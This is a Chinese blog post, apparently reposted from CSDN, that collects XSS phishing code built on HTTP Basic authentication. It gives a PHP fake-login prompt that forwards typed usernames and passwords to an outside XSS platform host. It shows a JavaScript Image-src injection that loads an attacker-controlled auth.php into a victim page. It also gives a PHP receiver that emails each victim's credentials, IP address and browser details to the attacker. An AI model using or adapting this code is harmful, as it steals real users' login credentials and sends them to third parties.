xss基础认证钓鱼代码收集

0x01

下面这个只是一个简单的要求输入用户-密码的弹框

<?php 
error_reporting(0);
/* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值:发送产生显示文本框的数据头部*/
header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
/* 变量值存在,检查其是否正确 */
header("Location: http://lennyxss.sinaapp.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>

0x02

之前一直在想怎么引入自己写的php文件,又不能上传到受害者的服务器上,结果没想到可以使用图片的src属性引入,那就很好办了,就是插入这么一段恶意代码:

x=new Image(); 
x.src="http://mysite.com/auth.php"; 

这里的auth.php就是我们伪造的恶意文件,这个文件的功能就是实现弹框
在这里插入图片描述
auth.php代码如下:

<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" ) 
{ 
header('WWW-Authenticate: Basic realm="Basic Auth"'); 
header('HTTP/1.0 401 Unauthorized'); 
} 
else{ 
$user = $_SERVER['PHP_AUTH_USER']; 
$pass = $_SERVER['PHP_AUTH_PW']; 
$fish = "username:".$user."  password:".$pass; 
header("location:http://mysite.com/x.php?c=$fish"); 
} 
?> 

这段代码中的header()函数就是实现一个重定向功能,并以get方式带上我们钓到的用户名以及密码,重定向的目标地址就是我们接下来要介绍的接收端,接收端代码如下:

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
$referer = $_SERVER['HTTP_REFERER']; 
$agent = $_SERVER['HTTP_USER_AGENT'];  
$data = $_GET[c]; 
$time = date("Y-m-d G:i:s A"); 
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:     
".$referer."<br>Session: ".$data."<br><br><br>"; 
require("class.phpmailer.php");  
$mail = new PHPMailer();  
$mail->CharSet = "UTF-8"; 
$address ="[email protected]";//接收邮箱地址 
$mail->IsSMTP(); // 使用SMTP方式发送 
$mail->Host = "smtp.163.com"; // 您的邮箱域名 
$mail->SMTPAuth = true; // 启用SMTP验证功能 
$mail->Username = "[email protected]"; // 邮局用户名(请填写完整的email地址) 
$mail->Password = "mailpwd"; // 邮局密码 
$mail->Port=25; 
$mail->From = "[email protected]"; //邮件发送者email地址 
$mail->FromName = "Bemo-XSS success!"; 
$mail->AddAddress("$address", "a"); 
$mail->IsHTML(true); //是否使用HTML格式 
$mail->Subject = "Bemo-XSS success!"; //邮件标题 
$mail->Body = $text; //邮件内容,上面设置HTML,则可以是HTML 
if(!$mail->Send()) 
{ 
echo "邮件发送失败. <p>"; 
echo "错误原因: " . $mail->ErrorInfo; 
exit; 
} 
?>

上面的代码就是把我们接收到的数据直接发送到攻击者的邮箱(邮箱自行修改)

发布了116 篇原创文章 · 获赞 161 · 访问量 42万+

猜你喜欢

转载自blog.csdn.net/he_and/article/details/85264263